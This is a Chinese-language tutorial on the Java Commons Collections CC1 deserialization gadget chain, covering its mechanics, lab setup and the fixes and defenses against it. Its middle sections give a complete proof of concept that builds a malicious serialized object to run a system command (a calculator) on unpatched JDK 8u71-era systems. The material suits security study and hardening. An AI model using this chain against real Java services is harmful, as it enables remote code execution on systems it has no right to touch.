公司动态

Java反序列化漏洞CC1链深度解析:从原理到POC构造与防御

📅 2026/8/7 1:55:53
Java反序列化漏洞CC1链深度解析:从原理到POC构造与防御
1. 项目概述Java CC1链全称Apache Commons Collections 1链是Java安全领域一个里程碑式的反序列化漏洞利用链。我第一次接触这个漏洞是在一次内部红蓝对抗中当时一个老旧的Jenkins服务器成了突破口攻击者就是利用了Weblogic中集成的Commons Collections库的这个缺陷。自那以后CC1链就成了我研究Java反序列化的起点也是面试中绕不开的经典考题。简单来说它利用了Apache Commons Collections这个广泛使用的第三方库中一系列可被串联起来的类Transformer、TransformedMap等在反序列化过程中通过精心构造的恶意对象最终达到远程命令执行RCE的目的。理解CC1链不仅仅是学会一个POC概念验证代码更是打开Java安全大门理解“对象序列化”如何从一项便利功能变成致命攻击入口的关键。无论你是想深入安全研究还是作为开发人员想写出更健壮的代码避免自己的系统成为下一个受害者这条链都值得你花时间彻底搞懂。2. 核心原理与漏洞成因拆解要理解CC1我们不能只停留在“怎么用”必须深挖“为什么能这样用”。这涉及到两个核心Java反序列化机制本身的设计缺陷以及Apache Commons Collections库提供的危险“能力组件”。2.1 反序列化信任的滥用Java序列化是将对象状态转换为字节流的过程以便存储或传输。反序列化则是将字节流还原为对象。关键在于反序列化过程会依据字节流中的数据自动调用对象的readObject()方法来重建对象。这里存在一个根本性的信任假设JVM默认认为序列化数据是安全、合法的。但攻击者可以完全控制这个字节流构造一个特殊的对象使得在反序列化执行readObject()时触发一连串非预期的操作。这就好比你把家门钥匙序列化对象交给快递员网络传输本意是让他把包裹放屋里。但钥匙的齿形字节流被恶意复制和改造了小偷拿着改造后的钥匙恶意序列化数据不仅能开门还能触发你屋里预设的一个“按下按钮就打开保险箱”的机关恶意调用链。readObject方法就是这个“机关”的启动入口。2.2 Commons Collections的危险“积木”Apache Commons Collections库为了提供灵活的数据操作能力设计了一系列Transformer接口的实现类。它们本意是用于数据转换但在攻击者眼中成了可以随意拼接的“乐高积木”。InvokerTransformer这是最核心的一块“攻击积木”。它的transform方法可以通过反射执行任意对象的任意方法。// 这是一个极度危险的“万能方法执行器” public Object transform(Object input) { Class cls input.getClass(); Method method cls.getMethod(iMethodName, iParamTypes); // 反射获取方法 return method.invoke(input, iArgs); // 反射调用方法 }通过构造new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“calc.exe”})并在transform时传入Runtime.getRuntime()对象就能执行系统命令。ChainedTransformer这是一个“链条积木”它把一个Transformer数组串联起来前一个transform的输出作为后一个的输入。这允许攻击者将多个操作链接起来例如先获取Runtime类再获取getRuntime方法然后调用该方法获得Runtime实例最后执行exec命令。ConstantTransformer这个“常量积木”总是返回构造时传入的对象。它在链条中通常作为起点提供一个初始对象如Runtime.class。TransformedMap这个类装饰了一个普通的Map。当修改Map中的值时例如调用setValue它会自动调用预设的Transformer对值进行转换。这里是将数据操作行为与恶意代码执行连接起来的关键桥梁。2.3 漏洞链的组装逻辑漏洞的巧妙之处在于它找到了一条从反序列化入口readObject到危险方法InvokerTransformer.transform()的调用路径入口点sun.reflect.annotation.AnnotationInvocationHandler的readObject方法。这是一个JDK内部的类在反序列化AnnotationInvocationHandler对象时会被调用。触发转换在readObject方法中会遍历其内部的一个Map类型成员memberValues并对每一项调用Map.Entry.setValue()。行为传递如果我们能让memberValues是一个TransformedMap并且其valueTransformer是我们精心构造的ChainedTransformer那么setValue就会触发TransformedMap.checkSetValue()进而调用valueTransformer.transform()。命令执行这个valueTransformer就是我们的ChainedTransformer它内部串联的InvokerTransformer会通过反射调用Runtime.getRuntime().exec(“calc”)完成攻击。简单概括攻击者构造一个恶意的AnnotationInvocationHandler对象其内部包装了一个带有恶意Transformer链条的TransformedMap。当这个对象被反序列化时JDK自动调用其readObjectreadObject去修改Map值触发了Transformer链条最终执行系统命令。注意CC1链在Java 8u71之后被修复因为官方修改了AnnotationInvocationHandler的readObject逻辑。所以复现环境需使用JDK 8u71或更早的版本。3. 环境搭建与依赖准备工欲善其事必先利其器。复现CC1需要一个特定的环境主要是受漏洞影响的Commons Collections版本和未打补丁的JDK。3.1 JDK版本选择与配置这是最容易出错的一步。CC1链依赖的sun.reflect.annotation.AnnotationInvocationHandler在JDK 8u71版本中修改了readObject方法导致利用链失效。因此必须使用JDK 8u71或更早的版本。实操步骤下载从Oracle官网存档或可靠的镜像站下载JDK 8u65或u60, u71等的安装包。安装与配置安装后在IDE如IntelliJ IDEA中明确指定项目使用该JDK。在IDEA中File-Project Structure-Project-Project SDK选择你安装的JDK 8u65。同时在Modules选项中确保项目的Language level也与JDK 8匹配。验证在终端运行java -version确认输出版本号低于或等于1.8.0_71。3.2 Maven项目与依赖引入我们使用Maven来管理项目依赖重点是引入存在漏洞的Commons Collections组件。创建Maven项目在IDE中新建一个Maven项目选择maven-archetype-quickstart原型即可。编辑pom.xml在dependencies节点内添加以下依赖。dependency groupIdcommons-collections/groupId artifactIdcommons-collections/artifactId version3.2.1/version !-- 关键必须是存在漏洞的3.2.1版本 -- /dependency依赖生效保存pom.xml后IDE会自动下载依赖。你也可以在命令行进入项目目录执行mvn clean compile来触发下载和编译。3.3 验证环境创建一个简单的测试类确保环境正确。import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; public class EnvTest { public static void main(String[] args) throws Exception { // 测试InvokerTransformer是否能正常工作 Transformer transformer new InvokerTransformer( “exec”, new Class[]{String.class}, new Object[]{“calc”} ); // 先不执行transform仅测试类加载和实例化是否成功 System.out.println(“InvokerTransformer实例创建成功: ” transformer.getClass()); System.out.println(“Commons Collections版本: 3.2.1”); System.out.println(“Java版本: ” System.getProperty(“java.version”)); } }运行这个类如果不报错且能正确打印出版本信息说明基础环境配置成功。实操心得我强烈建议使用Docker来搭建复现环境可以避免污染本地开发环境。一个简单的Dockerfile可以基于openjdk:8u65镜像然后安装Maven和下载依赖。这样能做到环境隔离复现完毕后一键销毁非常干净。4. 利用链核心组件深度解析现在我们来像拆解精密仪器一样把CC1链的每一个核心部件拆开看看它们是如何咬合在一起的。4.1 Transformer接口与InvokerTransformerTransformer接口只有一个方法Object transform(Object input)。它的设计模式是“命令模式”或“策略模式”将“转换”这个操作抽象出来。InvokerTransformer是其最危险的实现。关键代码再审视public Object transform(Object input) { Class cls input.getClass(); Method method cls.getMethod(iMethodName, iParamTypes); // 1. 获取方法 return method.invoke(input, iArgs); // 2. 反射调用 }攻击视角分析控制点1iMethodName,iParamTypes,iArgs。这三个参数在构造函数中传入并在序列化时被保存。攻击者可以完全控制。控制点2input参数。这是transform方法被调用时传入的。我们需要让某个“安全”的流程在反序列化时自动将一个我们能影响的对象传给它。如何让input是Runtime.getRuntime()直接传Runtime.getRuntime()不行因为Runtime类未实现Serializable无法序列化。但Runtime.classClass对象是可以序列化的。所以思路变为通过反射链从Runtime.class开始一步步调用getMethod(“getRuntime”)和invoke(null)最终得到Runtime实例。这就需要ChainedTransformer。4.2 ChainedTransformer攻击链条的组装器ChainedTransformer像一个流水线把多个Transformer串联起来。public Object transform(Object object) { for (int i 0; i iTransformers.length; i) { object iTransformers[i].transform(object); // 上一个的输出是下一个的输入 } return object; }构造反射链Transformer[] chain new Transformer[] { new ConstantTransformer(Runtime.class), // 初始输入: Runtime.class new InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, null}), // 输出: Method(getRuntime) new InvokerTransformer(“invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 输出: Runtime实例 new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“calc.exe”}) // 执行命令 }; ChainedTransformer chainedTransformer new ChainedTransformer(chain); // 此时调用 chainedTransformer.transform(任意对象) 都会触发命令执行。为什么第一个是ConstantTransformer因为链条需要一个起点。ConstantTransformer.transform()会忽略输入直接返回我们预设的Runtime.class为后续的反射调用提供了“种子”。4.3 TransformedMap触发行为的钩子TransformedMap.decorate()方法用于包装一个普通的Map。Map normalMap new HashMap(); normalMap.put(“key”, “initialValue”); Map transformedMap TransformedMap.decorate(normalMap, null, chainedTransformer);现在transformedMap就是一个被装饰过的Map。其valueTransformer被设置为我们恶意的chainedTransformer。关键方法checkSetValueprotected Object checkSetValue(Object value) { return valueTransformer.transform(value); // 这里调用了我们的恶意链条 }但是checkSetValue是protected方法外部无法直接调用。我们需要找到一个路径在反序列化过程中让Java标准库的代码去帮我们调用它。4.4 AnnotationInvocationHandler反序列化的入口这是JDK内部用于处理注解动态代理的类。它的readObject方法是我们梦寐以求的“自动调用器”。简化版的readObject逻辑private void readObject(ObjectInputStream in) throws ... { in.defaultReadObject(); // ... 一些校验 for (Map.Entry entry : memberValues.entrySet()) { // 遍历 memberValues String key (String) entry.getKey(); Class type memberTypes.get(key); if (type ! null) { // 如果注解有对应类型的成员 Object value entry.getValue(); if (!type.isInstance(value)) { // 如果值的类型不匹配 // 关键这里会调用 entry.setValue(...) 来修正值 entry.setValue(new AnnotationTypeMismatchExceptionProxy(...)); } } } }攻击者的机会我们可以通过反射创建AnnotationInvocationHandler实例并将memberValues设置为我们精心构造的TransformedMap。在反序列化时readObject会自动被调用。readObject会遍历memberValues即我们的TransformedMap。为了触发type.isInstance(value)判断为false我们需要让value的类型与注解成员声明的类型不匹配。通常我们放入一个String如“”而注解成员期望的是另一个类型如ElementType[]。当类型不匹配时代码会调用entry.setValue(...)。如果这个entry来自TransformedMap那么setValue内部会调用AbstractInputCheckedMapDecorator.MapEntry.setValue()继而调用父类的checkSetValue()最终引爆我们的ChainedTransformer。至此一条从ObjectInputStream.readObject()到Runtime.exec()的完整通路就被打通了。注意事项AnnotationInvocationHandler是sun.reflect包下的内部API不同JDK实现可能不同且未来可能被移除或修改。这也是为什么CC1链在高版本JDK中失效的原因之一。在编写利用代码时必须通过反射来获取和实例化这个类。5. 手把手构造与调试POC理解了原理我们来动手构造完整的攻击载荷POC。我会带你一步步写代码并解释每一个参数选择的缘由。5.1 第一步构造恶意Transformer链条这是攻击的核心“炸药包”。import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CC1POC { public static void main(String[] args) throws Exception { // 1. 构造反射命令执行链 Transformer[] transformers new Transformer[] { // 起点提供Runtime的Class对象。ConstantTransformer会直接返回它。 new ConstantTransformer(Runtime.class), // 第一步反射从Runtime.class上获取getMethod方法参数是“getRuntime” new InvokerTransformer( “getMethod”, new Class[] {String.class, Class[].class}, new Object[] {“getRuntime”, new Class[0]} ), // 第二步反射调用getMethod返回的Method对象invoke(null)表示静态方法调用获得Runtime实例 new InvokerTransformer( “invoke”, new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]} ), // 第三步在获得的Runtime实例上调用exec方法执行计算器命令 new InvokerTransformer( “exec”, new Class[] {String.class}, new Object[] {“calc.exe”} // Linux/Mac可改为“open /System/Applications/Calculator.app”或“gnome-calculator” ) }; // 2. 用ChainedTransformer把“炸药”步骤串联起来 ChainedTransformer chainedTransformer new ChainedTransformer(transformers); // 测试一下链条是否有效此时会弹计算器 // chainedTransformer.transform(null); // 注意测试后务必注释掉否则在构造过程中就会执行命令。 } }关键点解析new Class[0]和new Object[0]表示空数组对应getMethod和invoke方法中可能为null的参数。使用空数组比null更规范避免潜在的NPE。为什么是Runtime.class因为Class类是可序列化的而Runtime实例不是。我们必须从可序列化的对象开始通过反射在目标机器上动态获取Runtime实例。5.2 第二步包装TransformedMap我们需要一个容器来放置这个“炸药包”并设置好触发机关。import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class CC1POC { public static void main(String[] args) throws Exception { // ... 上述构造chainedTransformer的代码 ... // 3. 创建一个普通的HashMap并放入一个键值对 HashMapString, Object hashMap new HashMap(); hashMap.put(“value”, “anything”); // 键必须是“value”原因下文解释 // 4. 使用TransformedMap.decorate进行装饰 // 第一个参数被装饰的Map // 第二个参数keyTransformer我们不需要传null // 第三个参数valueTransformer传入我们的恶意链条 Map transformedMap TransformedMap.decorate(hashMap, null, chainedTransformer); // 此时transformedMap的valueTransformer已经被设置为chainedTransformer。 // 当它的entry执行setValue时就会触发checkSetValue - transform。 } }5.3 第三步创建AnnotationInvocationHandler实例这是最绕的一步因为AnnotationInvocationHandler是内部类构造方法私有必须通过反射来创建。import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; public class CC1POC { public static void main(String[] args) throws Exception { // ... 上述构造transformedMap的代码 ... // 5. 通过反射获取AnnotationInvocationHandler类 Class? clazz Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”); Constructor? constructor clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); // 突破私有构造方法的限制 // 6. 实例化AnnotationInvocationHandler // 第一个参数必须是一个注解类型的Class对象这里用Target.classJDK自带的注解 // 第二个参数Map类型传入我们包装好的transformedMap Object handlerInstance constructor.newInstance(Target.class, transformedMap); // handlerInstance现在就是一个包含了恶意TransformedMap的AnnotationInvocationHandler对象。 } }为什么是Target.class和“value”Target.classAnnotationInvocationHandler的构造方法要求传入的Class对象必须是一个注解类型并且其直接实现的接口只有java.lang.annotation.Annotation。Target注解符合这个条件。“value”Target注解只有一个成员名字就叫value其类型是ElementType[]。我们在Map中放入键为“value”值为一个字符串“anything”。在反序列化的readObject方法中它会检查这个值是否是ElementType[]类型。显然String不是ElementType[]所以type.isInstance(value)返回false从而进入entry.setValue(...)的分支触发了我们的利用链。如果键名不对memberTypes.get(key)会返回null后续判断就跳过了。5.4 第四步序列化与反序列化触发最后我们将这个恶意的handlerInstance对象序列化成字节流再反序列化触发漏洞。import java.io.*; public class CC1POC { public static void main(String[] args) throws Exception { // ... 上述构造handlerInstance的代码 ... // 7. 序列化将恶意对象写入文件 ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(handlerInstance); oos.close(); byte[] serializedData baos.toByteArray(); // 这就是攻击载荷 // 8. 反序列化模拟受害端读取数据触发漏洞 ByteArrayInputStream bais new ByteArrayInputStream(serializedData); ObjectInputStream ois new ObjectInputStream(bais); Object obj ois.readObject(); // 这里会触发readObject执行命令 ois.close(); System.out.println(“反序列化完成。如果环境正确计算器应该已经弹出。”); } }将以上所有代码段组合起来就是一个完整的CC1链POC。在配置好的JDK 8u65和Commons Collections 3.2.1环境下运行应该会成功弹出计算器。调试技巧在关键位置如InvokerTransformer.transform、ChainedTransformer.transform、TransformedMap.checkSetValue、AnnotationInvocationHandler.readObject打上断点一步步跟踪程序的执行流程观察对象状态的变化。这是理解整个链条动态执行过程最有效的方法。你可以清楚地看到readObject是如何一步步“牵引”着程序走向命令执行的。6. 漏洞修复与安全实践CC1链的威力和影响是巨大的它直接推动了Java安全社区对反序列化漏洞的重视。了解如何修复和防御同样重要。6.1 官方修复方案Apache Commons Collections 的修复在后续版本如3.2.2中为InvokerTransformer、ConstantTransformer、ChainedTransformer等Transformer实现类的readObject方法增加了FunctorUtils.checkUnsafeSerialization()检查。如果检测到反序列化不安全会抛出UnsupportedOperationException。升级到安全版本如3.2.2及以上是根本解决方案。JDK的修复JDK 8u71对sun.reflect.annotation.AnnotationInvocationHandler的readObject方法进行了重写。新版中不再直接使用传入的Map我们的TransformedMap而是创建了一个新的LinkedHashMap并拷贝数据从而切断了与原始恶意Map的联系使得setValue无法被触发。6.2 开发者的防御实践对于无法立即升级库版本的情况或者作为更广泛的安全加固可以采取以下措施输入验证与白名单对任何来自外部的反序列化数据源如网络请求、文件上传、RMI、JMX等进行严格校验。最佳实践是避免反序列化不可信数据。如果必须考虑使用白名单机制只允许反序列化已知安全的类。// 示例使用ValidatingObjectInputStream进行类白名单过滤 import org.apache.commons.io.serialization.ValidatingObjectInputStream; public class SafeDeserializer { public Object safeDeserialize(byte[] data) throws Exception { ValidatingObjectInputStream vois new ValidatingObjectInputStream(new ByteArrayInputStream(data)); vois.accept(“com.yourcompany.safe.”); // 只接受自己安全包下的类 vois.accept(“[Ljava.lang.String;”); // 接受String数组 // ... 添加其他必要的类 vois.reject(“org.apache.commons.collections.”); // 显式拒绝危险类 return vois.readObject(); } }使用安全的替代序列化机制JSON/XML使用Jackson、Gson、JAXB等库进行序列化/反序列化它们不执行任意代码。协议缓冲区Protobuf、Thrift、Avro这些跨语言的二进制序列化方案通常更安全、高效。JVM层面防护使用Security Manager配置严格的安全策略限制反射、执行外部命令等敏感操作。Java 9 的模块化系统可以通过模块描述符限制对sun.reflect等内部API的访问。Agent防护部署RASP运行时应用自保护或IAST交互式应用安全测试工具在运行时检测和阻断恶意的反序列化行为。代码审计与依赖检查定期使用OWASP Dependency-Check、Maven的versions:display-dependency-updates等工具扫描项目依赖及时发现并升级存在已知漏洞的组件。在代码审计中重点关注ObjectInputStream.readObject()、XMLDecoder.readObject()、XStream.fromXML()等危险方法的调用点确保其输入是可信的。6.3 漏洞的变体与后续影响CC1只是开始安全研究人员基于类似的思路在Commons Collections中发现了更多利用链如CC2、CC3、CC4、CC6、CC7等它们利用了不同的“入口类”和“Transformer”组合来绕过修复和适应不同环境。此外其他大量流行的Java库如Spring、Fastjson、Jackson、Dubbo等也相继爆出反序列化漏洞。CC1链的学习为我们分析这些更复杂的漏洞提供了基础的方法论寻找从readObject到危险方法Sink的调用路径Gadget Chain。理解CC1链不仅是为了复现一个历史漏洞更是为了建立一种深刻的安全意识功能强大的特性往往伴随着同等级别的风险。反序列化、反射、动态代理这些Java高级特性在带来灵活性的同时也极大地扩展了攻击面。作为开发者在享受便利时必须时刻对不可信的数据保持警惕并遵循最小权限和纵深防御的安全原则。